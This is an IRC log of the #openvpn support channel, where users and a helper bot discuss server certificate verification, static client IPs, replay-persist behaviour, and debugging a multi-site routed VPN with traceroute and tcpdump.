02:43 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
03:00 -!- ctx144k [~andre@p5B3400CB.dip0.t-ipconnect.de] has quit [Ping timeout: 246 seconds]
03:09 -!- flo|va-nu-pied [~florent@unaffiliated/flovanupied/x-758957] has quit [Ping timeout: 246 seconds]
03:09 -!- flo|va-nu-pied [~florent@reverse-230.fdn.fr] has joined #openvpn
03:09 -!- flo|va-nu-pied [~florent@reverse-230.fdn.fr] has quit [Changing host]
03:09 -!- flo|va-nu-pied [~florent@unaffiliated/flovanupied/x-758957] has joined #openvpn
03:11 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
03:35 -!- atmosx [~me@gateway/tor-sasl/atmosx] has joined #openvpn
03:35 < atmosx> hello
03:35 < atmosx> To avoid the MITM error message
03:36 < atmosx> what do I have to do? I'm a little bit confused by the manual
03:45 <@krzee> atmosx, what mitm error?
03:47 -!- corretico [~luis@186.96.91.238] has joined #openvpn
03:49 < atmosx> not an error
03:49 < atmosx> it's a wraning
03:49 < atmosx> Jul 01 09:47:51: WARNING: No server certificate verification method has been enabled.  See http://openvpn.net/howto.html#mitm for more info.
03:50 < atmosx> but I figured, install of build-key in the process I need ./byild-key-server
03:52 -!- dxtr [~dxtr@gateway/tor-sasl/dxtr] has quit [Quit: leaving]
03:52 -!- mattock_afk is now known as mattock
03:59 <@krzee> yep ^
03:59 <@krzee> !mitm
03:59 <@vpnHelper> "mitm" is (#1) http://openvpn.net/index.php/documentation/howto.html#mitm to know about stopping Man-in-the-Middle attacks by signing the server cert specially or (#2) use !servercert to generate the server cert manually or use the easy-rsa build-key-server script to build your server certificates or (#3) then use: remote-cert-tls server in the client config
04:02 -!- flo|va-nu-pied [~florent@unaffiliated/flovanupied/x-758957] has quit [Ping timeout: 252 seconds]
04:03 -!- flo|va-nu-pied [~florent@reverse-230.fdn.fr] has joined #openvpn
04:03 -!- flo|va-nu-pied [~florent@reverse-230.fdn.fr] has quit [Changing host]
04:03 -!- flo|va-nu-pied [~florent@unaffiliated/flovanupied/x-758957] has joined #openvpn
04:05 -!- Denial [Denial@90.205.133.229] has joined #openvpn
04:09 -!- flo|va-nu-pied [~florent@unaffiliated/flovanupied/x-758957] has quit [Ping timeout: 264 seconds]
04:16 -!- pa [~pa@unaffiliated/pa] has quit [Ping timeout: 246 seconds]
04:18 -!- mattock is now known as mattock_afk
04:25 -!- stemid [~avatar@ns4.sydit.se] has joined #openvpn
04:26 -!- HaxCore [~p3rror@41.250.251.159] has joined #openvpn
04:26 -!- p3rror [~p3rror@41.249.253.52] has quit [Read error: Connection reset by peer]
04:27 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
04:28 -!- dxtr [~dxtr@gateway/tor-sasl/dxtr] has joined #openvpn
04:31 -!- flo|va-nu-pied [~florent@80.67.176.230] has joined #openvpn
04:31 -!- flo|va-nu-pied [~florent@80.67.176.230] has quit [Changing host]
04:31 -!- flo|va-nu-pied [~florent@unaffiliated/flovanupied/x-758957] has joined #openvpn
04:31 -!- HaxCore [~p3rror@41.250.251.159] has quit [Ping timeout: 276 seconds]
04:31 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
05:11 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
05:16 -!- flo|va-nu-pied [~florent@unaffiliated/flovanupied/x-758957] has quit [Read error: Operation timed out]
05:20 -!- flo|va-nu-pied [~florent@reverse-230.fdn.fr] has joined #openvpn
05:20 -!- flo|va-nu-pied [~florent@reverse-230.fdn.fr] has quit [Changing host]
05:20 -!- flo|va-nu-pied [~florent@unaffiliated/flovanupied/x-758957] has joined #openvpn
05:22 -!- Rallias [~rallias@unaffiliated/gasseus] has quit [Ping timeout: 248 seconds]
05:25 -!- Rallias [~rallias@unaffiliated/gasseus] has joined #openvpn
05:29 -!- mattock_afk is now known as mattock
05:32 -!- flo|va-nu-pied [~florent@unaffiliated/flovanupied/x-758957] has quit [Ping timeout: 268 seconds]
05:34 -!- flo|va-nu-pied [~florent@reverse-230.fdn.fr] has joined #openvpn
05:34 -!- flo|va-nu-pied [~florent@reverse-230.fdn.fr] has quit [Changing host]
05:34 -!- flo|va-nu-pied [~florent@unaffiliated/flovanupied/x-758957] has joined #openvpn
05:35 -!- ikrabbe [ingo@pdpc/supporter/professional/ikrabbe] has joined #openvpn
05:39 -!- flo|va-nu-pied [~florent@unaffiliated/flovanupied/x-758957] has quit [Ping timeout: 246 seconds]
05:40 -!- flo|va-nu-pied [~florent@reverse-230.fdn.fr] has joined #openvpn
05:40 -!- flo|va-nu-pied [~florent@reverse-230.fdn.fr] has quit [Changing host]
05:40 -!- flo|va-nu-pied [~florent@unaffiliated/flovanupied/x-758957] has joined #openvpn
05:53 -!- stemid [~avatar@ns4.sydit.se] has left #openvpn []
05:57 -!- JSharpe [~JSharpe@ns237393.ovh.net] has joined #openvpn
06:04 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 264 seconds]
06:09 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
06:20 -!- JSharpe [~JSharpe@ns237393.ovh.net] has quit [Quit: Leaving]
06:26 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 245 seconds]
06:27 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
06:31 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
06:55 -!- midacts [~midacts@207.59.77.254] has quit [Quit:  HydraIRC -> http://www.hydrairc.com <- The professional IRC Client :D]
07:02 -!- midacts [~midacts@207.59.77.254] has joined #openvpn
07:07 -!- corretico [~luis@186.96.91.238] has quit [Read error: Connection reset by peer]
07:24 -!- mattock is now known as mattock_afk
07:42 -!- SirNeo1 [~sirneo@unaffiliated/sirneo] has joined #openvpn
07:48 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 260 seconds]
07:55 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
07:57 -!- mattock_afk is now known as mattock
08:19 -!- SirNeo1 [~sirneo@unaffiliated/sirneo] has quit []
08:27 -!- troyt [~troyt@2001:1938:240:2000::3] has quit [Ping timeout: 245 seconds]
08:30 -!- troyt [~troyt@2001:1938:240:2000::3] has joined #openvpn
08:35 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 268 seconds]
08:43 -!- jive [~jive@71.230.92.18] has joined #openvpn
08:51 -!- corretico [~luis@186.96.91.238] has joined #openvpn
08:52 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
09:00 -!- Sidewinder [~de@unaffiliated/sidewinder] has joined #openvpn
09:04 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Max SendQ exceeded]
09:05 -!- Poster|x is now known as Poster
09:08 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
09:20 -!- corretico [~luis@186.96.91.238] has quit [Read error: Connection reset by peer]
09:21 -!- JSharpe [~JSharpe@ns225536.ovh.net] has joined #openvpn
09:42 -!- JSharpe_ [~JSharpe@ns225536.ovh.net] has joined #openvpn
09:43 -!- flo|va-nu-pied [~florent@unaffiliated/flovanupied/x-758957] has quit [Ping timeout: 246 seconds]
09:43 -!- ferai is now known as jefferai
09:45 -!- flo|va-nu-pied [~florent@reverse-230.fdn.fr] has joined #openvpn
09:45 -!- flo|va-nu-pied [~florent@reverse-230.fdn.fr] has quit [Changing host]
09:45 -!- flo|va-nu-pied [~florent@unaffiliated/flovanupied/x-758957] has joined #openvpn
09:46 -!- JSharpe [~JSharpe@ns225536.ovh.net] has quit [Ping timeout: 276 seconds]
09:50 -!- monk [~aknm@unaffiliated/aknm] has quit [Remote host closed the connection]
09:56 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Quit: Leaving]
09:57 -!- midacts [~midacts@207.59.77.254] has quit [Read error: Connection reset by peer]
09:57 -!- midacts [~midacts@207.59.77.254] has joined #openvpn
09:59 -!- Devastator- [~devas@186.214.110.239] has joined #openvpn
10:00 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 248 seconds]
10:08 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
10:11 -!- sokmar [~marcin@firma.sokrates.pl] has joined #openvpn
10:12 < sokmar> hi, do openvpn config files support some sort of include /other/file directive?
10:13 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
10:14 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
10:15 -!- excalibr [~excalibr@unaffiliated/excalibr] has quit [Quit: excalibr]
10:31 -!- fischli [~fischli@data.fischer-ing.de] has quit [Quit: Leaving.]
10:32 < atmosx> hi
10:33 < atmosx> can I have 2 routes? like 10.4.1.0/24 for famly and 10.4.2.0/24 for work?
10:34 -!- zveda [~zveda@unaffiliated/zveda] has joined #openvpn
10:35 < zveda> pekster: hi I been directed here. I think I have ip leak by thru upnp plugin in ktorrent
10:35 < zveda> the ports show up as upnp forwarded ports in my router
10:35 < zveda> while I should be connected thru vpn
10:43 -!- JSharpe_ [~JSharpe@ns225536.ovh.net] has quit [Quit: Leaving]
10:43 -!- zveda [~zveda@unaffiliated/zveda] has quit [Ping timeout: 252 seconds]
10:44 -!- zveda [~zveda@unaffiliated/zveda] has joined #openvpn
10:46 -!- jivee [~jive@c-71-230-92-18.hsd1.pa.comcast.net] has joined #openvpn
10:48 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn []
10:49 -!- jive [~jive@71.230.92.18] has quit [Ping timeout: 256 seconds]
10:55 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has joined #openvpn
10:55 -!- mode/#openvpn [+o mattock_afk] by ChanServ
10:55 -!- mattock_afk is now known as mattock
10:57 -!- ade_b [~Ade@redhat/adeb] has quit [Read error: Operation timed out]
10:59 < MaxDamage> zveda
10:59 < MaxDamage> Still need help?
11:02 < zveda> yes
11:02 < zveda> well i disabvled upnp plugin in ktorrent
11:02 < zveda> but I duno if that's a good solution
11:05 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 246 seconds]
11:05 -!- p3rror [~p3rror@41.249.253.52] has quit [Quit: Leaving]
11:07 -!- fischli [~fischli@static-31-25-152-181.ewacom.ropa.net] has joined #openvpn
11:11 < MaxDamage> zveda, do you use routing or bridging?
11:17 -!- raidz_away is now known as raidz
11:18 -!- mikeploeger [~mikeploeg@5.28.115.61] has joined #openvpn
11:35 -!- WormFood [~wormfood@58.249.63.180] has quit [Read error: Connection reset by peer]
11:35 -!- WormFood [~wormfood@211.148.84.161] has joined #openvpn
12:03 -!- mikeploeger [~mikeploeg@5.28.115.61] has quit [Remote host closed the connection]
12:09 -!- mikeploeger [~mikeploeg@5.28.115.61] has joined #openvpn
12:19 -!- CVance [~CVance@217.sub-70-196-132.myvzw.com] has joined #openvpn
12:19 -!- ade_b [~Ade@h31-3-227-203.host.redstation.co.uk] has joined #openvpn
12:19 -!- ade_b [~Ade@h31-3-227-203.host.redstation.co.uk] has quit [Changing host]
12:19 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
12:19 < CVance> !welcome
12:19 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
12:19 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
12:20 < CVance> !goal
12:20 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
12:20 < CVance> !logs
12:20 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
12:21 < CVance> !configs
12:21 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
12:21 < CVance> !interface
12:21 <@vpnHelper> "interface" is (#1) paste interface configuration from both client and server, while being disconnected and when beeing connected. Be sure to also add the routing tables for both situations from client and from server or (#2) For Windows: iface: 'ipconfig /all' routing: 'route print' (add -4 or -6 for just IPv4 or v6) or (#3) For Unix: iface: 'ifconfig -a' routing: 'netstat -rn' or (#4) For Linux:
12:21 <@vpnHelper> iface: 'ip a' routing: 'ip r' (use ip -6 for IPv6 routes)
12:22 -!- dazo is now known as dazo_afk
12:26 -!- emmanuelux [~emmanuelu@192.123.25.109.rev.sfr.net] has joined #openvpn
12:32 < emmanuelux> hello how to use the option --connect-retry-max , it doesnt work when i use --connect-retry-max 2, it tries to connect indefinitly
12:35 < zveda> MaxDamage: sorry back. I use routing
12:36 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 246 seconds]
12:39 -!- hondza [yRLDrHqy@unaffiliated/hondza] has joined #openvpn
12:45 -!- CVance [~CVance@217.sub-70-196-132.myvzw.com] has quit [Quit: CVance]
12:53 -!- ade_b [~Ade@82.152.186.213] has joined #openvpn
12:53 -!- ade_b [~Ade@82.152.186.213] has quit [Changing host]
12:53 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
12:56 -!- d3c [~d3c@x1-6-9c-d3-6d-c6-23-02.k512.webspeed.dk] has joined #openvpn
13:10 -!- mikeploeger [~mikeploeg@5.28.115.61] has quit [Remote host closed the connection]
13:10 < hondza> Am I right assuming that replay-persist only works client side? i.e. having it in server's conf does nothing? according to strace this seems to be the case...
13:22 -!- Sidewinder [~de@unaffiliated/sidewinder] has quit [Quit: Leaving]
13:27 -!- midacts [~midacts@207.59.77.254] has quit [Quit:  HydraIRC -> http://www.hydrairc.com <- Nine out of ten l33t h4x0rz prefer it]
13:32 -!- vaillor [~wefefr@adsl-ull-39-64.45-151.net24.it] has joined #openvpn
13:32 < vaillor> hi guy
13:32 < vaillor> *s
13:33 < vaillor> to set ip static client do you think is better to use "ifconfig-pool-persist" or  "ifconfig 10.8.0.2 255.255.255.0" ?
13:35 -!- Changos [~Changos@unaffiliated/changos] has quit [Ping timeout: 256 seconds]
13:43 -!- p3rror [~p3rror@41.248.220.215] has joined #openvpn
13:45 -!- jivee [~jive@c-71-230-92-18.hsd1.pa.comcast.net] has quit [Quit: Leaving]
13:53 < pekster> !ipp
13:53 <@vpnHelper> "ipp" is (#1) the option --ifconfig-pool-persist ipp.txt does NOT create static ips or (#2) Note that the entries in this file are treated by OpenVPN as suggestions only, based on past associations between a common name and IP address. They do not guarantee that the given common name will always receive the given IP address. If you want guaranteed assignment, see !iporder and !static
13:58 < pekster> hondza: Inforrect; either way the packet_id_persist_load() function is called, which opens the file (or gives you an error if the open failed)
13:58 < vaillor> pekster, ipp generates a little database with cert_name - ip to assign, right?
13:58 < vaillor> and try to assign the same ip for every cert
13:58 < pekster> It's a "suggestion only" 00 did you see that sentince?
13:59 < vaillor> i'ts a sentence
13:59 < pekster> Then do *not* use ipp -- The bot suggested you see !static, and I suggest you take that suggestion
13:59 < pekster> And yes, I make typos so metimes in IRC. Get over it
13:59 < pekster> (apparently a lot this afternoon)
13:59 < vaillor> !static
13:59 <@vpnHelper> "static" is (#1) use --ifconfig-push in a ccd entry for a static ip for the vpn client or (#2) example in net30 (default): ifconfig-push 10.8.0.6 10.8.0.5 example in subnet (see !topology) or tap (see !tunortap): ifconfig-push 10.8.0.5 255.255.255.0 or (#3) also see !ccd and !iporder or (#4) when pushing static IPs, you should also limit your --ifconfig-pool to exclude the static range
14:08 -!- ctx144k [~andre@p5B3400CB.dip0.t-ipconnect.de] has joined #openvpn
14:15 -!- HaxCore [~p3rror@41.249.159.42] has joined #openvpn
14:17 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 252 seconds]
14:18 -!- p3rror [~p3rror@41.248.220.215] has quit [Ping timeout: 252 seconds]
14:20 < hondza> pekster: packet_id_persist_load() isn't fired on server side in my case. the condition "flags & CF_LOAD_PERSISTED_PACKET_ID" is not met. looking more at the source the CF_LOAD_PERSISTED_PACKET_ID flag gets set "if (c->mode == CM_P2P)". printf() says the the "master" has CM_TOP (1), the child CM_CHILD_UDP (3), neither of which is CM_P2P (0). Ah, and for reference: i test it against openvpn 2.2.2, but the currect git source suggests the bahavior ...
14:20 < hondza> ... is the same in newer versions as well
14:20 -!- CVance [~CVance@217.sub-70-196-132.myvzw.com] has joined #openvpn
14:25 -!- troyt [~troyt@2001:1938:240:2000::3] has quit [Read error: Connection reset by peer]
14:25 < pekster> hondza: Yea, I just noticed that too via gdb (didn't dig into the flags though)
14:27 -!- HaxCore [~p3rror@41.249.159.42] has quit [Ping timeout: 246 seconds]
14:27 < vaillor> pekster, when i use static, do i need to limit dhcp ip pool range?
14:27 < vaillor> to exclude static ip assigned?
14:28 < pekster> Yes, otherwise the pool could hand it out to a given client. That's why it's in the bot output
14:28 < pekster> s/given/arbitrary
14:29 < CVance> Hello everyone. I am having trouble establishing a multi site-to-site vpn. The server is a tomato router and the clients are tomato routers. I am operating in routed mode. Site A: 10.0.0.0/16, site B: 10.255.0.0/16, site C: 10.1.0.0/16.
14:30 < CVance> Server configuration: http://pastebin.com/97rDZAMA, server CCD for client: http://pastebin.com/kkgAZdRG, client configuration: http://pastebin.com/UZDct59q.
14:31 -!- troyt [~troyt@2001:1938:240:2000::3] has joined #openvpn
14:31 < CVance> The troublesome site is site C. Clients from site C can reach any host on either of the other two sites. Hosts in site A can reach hosts in site C
14:32 < CVance> Hosts in site B cannot reach hosts in site C
14:34 < CVance> The server in site A cannot directly reach hosts in site C, but is able to forward packets from other hosts in site A to hosts in site C
14:36 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
14:40 -!- HaxCore [~p3rror@105.158.208.74] has joined #openvpn
14:47 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
14:47 < CVance> server routing output http://pastebin.com/BvFSamQA, client routing output: http://pastebin.com/5jWGUn80
14:50 -!- Denial [Denial@90.205.133.229] has quit []
14:53 -!- HaxCore [~p3rror@105.158.208.74] has quit [Quit: Leaving]
14:59 -!- d3c [~d3c@x1-6-9c-d3-6d-c6-23-02.k512.webspeed.dk] has quit [Quit: Quit]
15:06 < pekster> CVance: config/routing looks fine; it's also very possible you have a firewall issue
15:07 < MaxDamage> pekster and his firewalls. :>
15:07 < MaxDamage> but yes, i agree
15:07 < CVance> pekster: can you elaborate? All clients can successfully connect to the server
15:07 < CVance> What ports does OpenVPN use for data?
15:08 < CVance> I think I should mention that site C is double natted
15:08 < pekster> Routing traffic across them as transport gateays involves the firewalls on at least 4 systems: the sender, both VPN gateways, and the recipient
15:08 < pekster> OpenVPN multiplexes all the data it sends over the single UDP port, but once you create a link, routing+firewalling works in the usual way
15:09 < CVance> I don't have the firewalls enabled on the sender nor recipient atm, I didn't touch any configuration for the gateways except port forwarding at site A
15:09 < pekster> Often the best way to solve "packets don't get where you want them to" issues is to use traceroute and tcpdump tools to watch the flow of packets
15:09 < pekster> When traceroute shows you they "get lost", tcpdump the flow of packets to see where/why
15:10 < CVance> Hosts at site C can reach any other hosts on either site when site C initiates.
15:10 < CVance> Hosts at site A can get to hosts at site C, but gateway A cannot reach hosts at C...
15:11 < pekster> Yea, almost certainly a firewall issue then
15:11 < pekster> Likely becuase the server will use the 192.168.5/24 address to source from
15:11 < CVance> ok
15:11 < pekster> (that's the "closest" address to the target, so the OS will use it as the source.) My guess is a firewall somewhere isn't configured to play well with that
15:12 < CVance> unfortunately I didn't manually configure any of the firewalls :(
15:12 < CVance> and sites A and B play very nicely with each other, just C causes problems
15:12 < pekster> Each of the VPN-enabled systems will have that route when on the VPN, but non-VPN systems won't
15:12 < CVance> I have manually added routes to the gateways in all sites
15:12 -!- p3rror [~p3rror@105.158.208.74] has joined #openvpn
15:12 < pekster> It could be as simple as letting an independent LAN firewall/gateway be aware of how to route traffic back to the VPN subnet, and the firewall needs to allow it of course
15:13 < pekster> Yea, but pay attention to firewall configs as well as routing
15:13 < pekster> Effectively treat them as a pair where changes to one require at least double-checking of the other
15:13 < CVance> wait… hold on Pekster, let me check site B routing table
15:13 < CVance> i think you may be right about that, one moment please
15:14 -!- Alina-malina [Alina-mali@46.162.236.108] has quit [Ping timeout: 246 seconds]
15:14 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 246 seconds]
15:14 < CVance> it looks like the VPN client automatically added an appropriate route in the routing table at site B
15:14 < pekster> The VPN clients will, but it won't handle your firewalls, or LAN gateways that aren't the openvpn system
15:15 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
15:15 < pekster> Again, it should be pretty obvious where the loss is occurring with standard tracing utilities
15:15 < CVance> seems like here according to traceroute
15:15 < CVance> 1  10.255.0.1 (10.255.0.1)  0.449 ms  0.799 ms  0.940 ms
15:15 < CVance>  2  192.168.5.10 (192.168.5.10)  220.256 ms  220.645 ms  221.124 ms
15:15 < CVance> dies afterwards
15:16 < pekster> 5.10 would be one of the clients (the 2nd connected) so it gets the packet but either doesn't pass it on, or the next-hop drops it
15:17 < pekster> tcpdump (or use of your firewall with hitcounter-only rules as a "poor man's tcpdump" if you don't have it on your embedded hardware) should narrow that down
15:17 < CVance> I wonder if my little tomato boxes have tcpdump
15:17 < CVance> no, but optware should have it in the repositories
15:17 < pekster> My openwrt boxes do, but that's becuase I specifically compiled it for them (and ripped out all the useless-to-me web-frontend junk that I don't want)
15:18 < pekster> 4MB is a bit tight to fit useful networking tools into, even with squashfs ;)
15:19 < CVance> yeah, thanks for you help so far, let me see what I can do, I just don't understand enough about networking and routing to have a solution
15:19 < pekster> This isn't really the place for basic networking support, but at least you now know where the failure is occurring
15:19 < pekster> A more distro or tool-centric channel would be more appropriate if you're having issues configuring a particuar piece of software
15:20 < pekster> Since your clients are connected and get pushed the right routes, the rest of your problem has nothing to do with openvpn
15:20 < CVance> I'm glad you clarified that
15:20 < CVance> it just is strange to me because when hosts in site C initiate, it works great
15:20 < fischli> CVance: "follow the white rabbit" as pekster: said, you have to watch the flow of packets and you will get it right
15:21 < pekster> Could be due to NAT too -- NAT only allows "one-way" communication unless you have a mess of port forwarding to get back in
15:21 < CVance> Once I have a tcpdump, what do you use to analyze it? Wireshark?
15:21 < pekster> Generally you should avoid NAT at all costs when you control the RFC1918 space across your routing domain
15:21 < pekster> You can either have tcpdump spray its capture to the console (the default) or see the -w option which writes it to a file
15:22 < pekster> (then yea, transfer it to your host with wireshark if you want the nice GUI and menus to analyze it after capture)
15:22 < CVance> I didn't think that I had nat enabled anywhere, I thought that by selecting the address space and pushing the appropriate routes that I would avoid nat issues
15:23 < pekster> Oh, your 'double-nat' reference earlier was just for that site to get out normally to the Internet?
15:23 < CVance> when I said double natted
15:23 < pekster> Then you're fine
15:23 < CVance> site C has a cradle point router and it's WAN connectivity is double natted
15:24 < CVance> I did say double nat, but I thought that if I could establish a connection with the server, I was golden
15:24 < pekster> Chances are good that router doesn't have a route/firewall-rules for the VPN subnet, thus the reply never gets back (as its routed upstream), but that's just an educated guess at this point
15:24 < CVance> Verizon doesn't issue publicly routable ip addresses on it's 4g network I don't think
15:24 < CVance> and bridge mode is a little iffy on this cradepoint box
15:24 < pekster> !route_outside_openvpn
15:24 <@vpnHelper> "route_outside_openvpn" is (#1) If your server is not the default gateway for the LAN, you will need to add routes to your gateway. See ROUTES TO ADD OUTSIDE OPENVPN in !route or (#2) Here are 2 diagrams that explain how this works: http://www.secure-computing.net/wiki/index.php/Graph http://i.imgur.com/BM9r1.png
15:25 < CVance> oops, gotta head out for a moment, I'll be back
15:25 < CVance> thanks
15:25 -!- mattock is now known as mattock_afk
15:26 -!- klong- [~klong@c-50-135-252-126.hsd1.wa.comcast.net] has joined #openvpn
15:33 -!- johncarmack [~carmack@2a02:21a8:1:252::ca7f:97f8] has quit [Ping timeout: 260 seconds]
15:34 -!- johncarmack [~carmack@2a02:21a8:1:252::ca7f:97f8] has joined #openvpn
15:35 < klong-> Sorry to ask in here, but anyone have experience with strongswan (IPSec?) . and employer wants me to set up a VPN server on Linux, but does not want to use special client software.
15:36 -!- cerettala_laptop [~cerettala@webcom.graysonhead.net] has left #openvpn []
15:37 < fischli> pekster: BM9r1.png confuses me, shouldn't it be 10.1.2.20 for src and dest instead of 10.1.2.0 in this picture?
15:37 < pekster> !notcompat
15:37 <@vpnHelper> "notcompat" is (#1) IPSEC and PPTP are _not_ compatible with OpenVPN. OpenVPN uses SSL whereas PPTP and IPSEC use proprietary protocols and therefore cannot be compatible. or (#2) OpenVPN only connects to OpenVPN
15:37 < pekster> klong-: ^^
15:37 -!- cerettala_laptop [~cerettala@webcom.graysonhead.net] has joined #openvpn
15:38 < fischli> klong-: you may ask at #swan
15:39 < pekster> fischli: The ".0" I think is supposed to mean "any host on that network" based on that diagram
15:40 < pekster> The point is the reply is "bouncing" off the LAN's gateway, since the target isn't itself aware of the VPN at all; it just blindly forwards everything outside the LAN routing domain to the gateway
15:43 < pekster> !forget notcompat *
15:43 <@vpnHelper> Joo got it.
15:43 < pekster> !learn notcompat as IPsec, PPTP, & L2TP are _not_ compatible with OpenVPN. OpenVPN uses SSL whereas PPTP and IPSEC use their own protocols and therefore cannot be compatible.
15:43 <@vpnHelper> Joo got it.
15:43 < pekster> !learn notcompat as OpenVPN connects only to OpenVPN
15:43 <@vpnHelper> Joo got it.
15:44 < fischli> pekster: clear to me. but could be clearer to others if the target would be named 10.10.2.anyone and 10.1.2.0 could also be interpreted as a broadcast ping
15:44 < pekster> Indeed; I'm not the author of that, and don't care to fix it
15:45 < fischli> got it :)
15:46 < fischli> this channel is more a tcp/ip channel about firewall and routing issues
15:46 -!- oO0Oo [oO0Oo@gateway/shell/elitebnc/x-ysgapiuhbogisxrg] has quit [Quit: Bye all;]
15:47 < pekster> This channel is neither
15:47 < pekster> !101
15:47 <@vpnHelper> "101" is This channel is not a '101' replacement for any of the following topics or others: Networking, Firewalls, Routing, Your OS, Security, etc etc
15:47 -!- Devastator- [~devas@186.214.110.239] has quit [Ping timeout: 252 seconds]
15:47 < pekster> It's assumed you know how routing/firewalling/$YourOS works before using an advanced networking product like OpenVPN
15:48 < pekster> We try to be helpful as mistakes/oversights with the basics are often the cause of issues, but there exist more on-topic channels/lists for learning how firewalls work, for instance
15:54 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 276 seconds]
15:56 < fischli> the topic is obviously not obvious to everyone
15:57 < EugeneKay> !read
15:57 -!- fischli [~fischli@static-31-25-152-181.ewacom.ropa.net] has quit [Quit: Leaving.]
15:57 <@vpnHelper> "read" is <krzee> ive been known to overreact when people look for 2 minutes and ask me to explain it to them
15:59 < pekster> hondza: Did you have a use-case for wanting persist-replay support in a P2MP instance? It's pretty rare to want to run openvpn out of xinitd or something
15:59 < vaillor> pekster, do you think it's a good idea let vpn working into iodine tunnel?
15:59 < pekster> I agree it "probably should" be supported (or noted in the manpage that it isn't) but I'm also curious when you would be flapping a server like that
16:00 < pekster> vaillor: I know of iodine, but haven't used it or read into it. Maybe a less abstract question more on-topic with openvpn should be asked instead
16:01 < pekster> OpenVPN doesn't care "how" you connect your endpoints; use RFC1149 for all it matters
16:01 < pekster> !xy
16:01 <@vpnHelper> "xy" is http://mywiki.wooledge.org/XyProblem -- I want to do X, but I'm asking how to do Y...
16:01 < EugeneKay> You'll need to up your --ping-restart value a bit if you do
16:02 -!- oO0Oo [oO0Oo@gateway/shell/elitebnc/x-pquyejqflrogeimi] has joined #openvpn
16:03 < vaillor> in some cases it's important how you connect your vpn, for example if you encapsulate tcp vpn into a tcp tunnel, you will get very big troughput problems caused by resonance of double tcp slowstart
16:04 < emmanuelux> pekster, i try to use --connect-retry-max option but no success, openvpn tries to connect the same server indefinitly
16:04 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
16:06 < hondza> pekster: ad use-case: no. just got curious while reading the manpage and not seeing any error message when the file did not exist in chroot and strace showed nothing.
16:07 -!- iliv [~iliv@178.137.25.199] has quit [Read error: Operation timed out]
16:08 < pekster> hondza: Ah, k. Yea, I duplicated the behaviour you noticed in 2.3.2, but haven't looked into a fix (it might be as simple as ORing that bit into the flags, but I also fail to see the practical benefit of using it when the window of usefulness is pretty low
16:17 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
16:17 < vaillor> persist-key and persist-tun need to be both in the client and server config?
16:22 -!- gil [~gil@48.120.158.98.client.static.strong-in10.as13926.net] has joined #openvpn
16:24 -!- ctx144k [~andre@p5B3400CB.dip0.t-ipconnect.de] has quit [Quit: Quit...]
16:24 < gil> Good evening all - I'm using strongvpn through openpvn and trying to optimise my settings. I've changed the mtu to a sane value, but I was wondering if anyone could explain mssfix to me (Yes, I've tried googling it) and why strongvpn may set it to 1390 as default?
16:24 < pekster> Nope, it's completely independent since it controls local-only configuration
16:25 < pekster> gil: See the --fragment and --mssfix options in the manpage (!man for web-based links)
16:25 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
